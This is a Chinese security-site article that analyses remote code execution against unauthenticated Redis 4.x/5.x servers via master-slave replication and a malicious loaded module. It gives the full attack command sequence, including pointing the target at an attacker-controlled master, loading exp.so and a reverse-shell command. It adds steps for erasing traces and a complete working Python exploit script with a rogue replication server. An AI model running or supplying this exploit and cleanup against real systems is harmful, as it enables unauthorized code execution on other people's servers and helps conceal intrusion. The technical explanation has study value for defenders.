freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Redis主从复制RCE影响分析
2022-03-16 10:08:45
所属地 广东省

Reids 未授权的常见攻击方式有绝对路径写Webshell、写ssh公钥、利用计划任务反弹shell、主从复制RCE。

利用主从复制RCE,可以避免了通过写文件getshell时由于文件内含有其他字符导致的影响,也可以不需要借助crontab、php这种第三方的程序直接getshell,有明显的优势。但是,很多实战过的师傅就会发现,在有些情况下,不管攻击成功与否,数据库会出现一下异常情况,这里就尝试分析下。

redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkovzeronights 2018上提出的基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。

恶意模块加载

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

恶意so文件下载,下载完成后直接 make 即可

  1. 搭建环境

    docker run -p 6300:6379 -d redis:5.0 redis-server
  2. 复制恶意so到容器中

    docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so
  3. 加载恶意模块

    127.0.0.1:6379> module load /data/exp.so
    OK
    127.0.0.1:6379> system.exec "whoami"
    "redis\n"

那么在真实环境中,我们如何将恶意so文件传输到服务器中呢?这里就需要用到Redis的主从复制了。

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

当slave向master发送PSYNC命令之后,一般会得到三种回复:

  1. +FULLRESYNC:进行全量复制。

  2. +CONTINUE:进行增量同步。

  3. -ERR:当前master还不支持PSYNC。

进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件

为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。

在进行全量复制之前,如果从服务器存在和主服务一样的变量,则其值会被覆盖,同时,如果存在主服务器不存在的变量,则会被删除。

621c7cbe2ab3f51d914f0230.jpg

攻击过程中相关命令

#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 1234  
#加载恶意模块
module load ./exp.so
#执行系统命令
system.exec 'whoami'
system.rev 127.0.0.1 9999    

痕迹清除

为了减少对服务器的影响,攻击完成后,应该尽量清除痕迹,需要恢复目录和数据库文件,卸载同时删除模块,而数据原本的配置信息,需要在攻击之前进行备份。

CONFIG get *    # 获取所有的配置
CONFIG get dir   # 获取 快照文件 保存的 位置
CONFIG get dbfilename   # 获取 快照文件 的文件名
#切断主从,关闭复制功能
slaveof no one
#恢复目录
config set dir /data
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system

漏洞利用的版本是redis 4.x/5.x ,如果是先前版本的Redis,则无法加载模块,自然也就无法利用。在网上开了几个开源的利用脚本,都没有进行版本的判断,如果直接使用exp,除了攻击失败外,可能会修改了 dir 和dbfilename ,这些都可以通过redis未授权修改回原来的配置(前提是有提前备份),而目录下会多生成一个 exp.so文件。

利用脚本

这里的脚本是在 https://github.com/vulhub/redis-rogue-getshell的基础上进行修改的,主要增加了版本检测,防止误打其他版本的Redis服务器。此外,还增加了配置信息备份,当痕迹清除时,如果目标Redis服务器的的dir、dbfilename、主从关系等不是默认配置时,需要手动修改脚本中的参数。

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
import re

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]

return data.strip().split()

def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break

self.finish()

def finish(self):
self.request.close()


class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True

def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload


class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10)

def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv()

def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data

def encode(self, data):
if isinstance(data, bytes):
data = data.split()

args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

args.append(DELIMITER)
return b''.join(args)


def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')

offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())

client = RedisClient(rhost, rport)

lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode()

if auth:
client.send([b'AUTH', auth.encode()])

authTest = client.send([b'info'])

if "NOAUTH" in str(authTest, encoding = "utf8"):
return "[-] Authentication required.Use: -a Redis_Password"


# Backup the configuration information
conf = client.send([b'CONFIG',b'get',b'*'])
conf = str(conf, encoding = "utf8")
with open('conf.txt', 'w') as file:
file.write(conf)

# Version detecting
info = client.send([b'info'])
info = str(info, encoding = "utf8")
res = re.search(r'.*redis_version:(\d+)\..*',info)
if res.groups():
version = res.groups()[0]
if version != '4' and version != '5':
return "[-] Version Error.only exists in version 4.x/5.x"



client.send([b'SLAVEOF', lhost, lport])
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
time.sleep(2)

server.handle_request()
time.sleep(2)


client.send([b'MODULE', b'LOAD', b'./exp.so'])

client.send([b'SLAVEOF', b'NO', b'ONE'])
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
resp = client.send([b'system.exec', command])
client.send([b'MODULE', b'UNLOAD', b'system'])

return "[+]RCE Successfully! Result: " + decode_command_line(resp)


def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args()

filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1)

result = exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)
print(result)


if __name__ == '__main__':
main()
# Redis
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录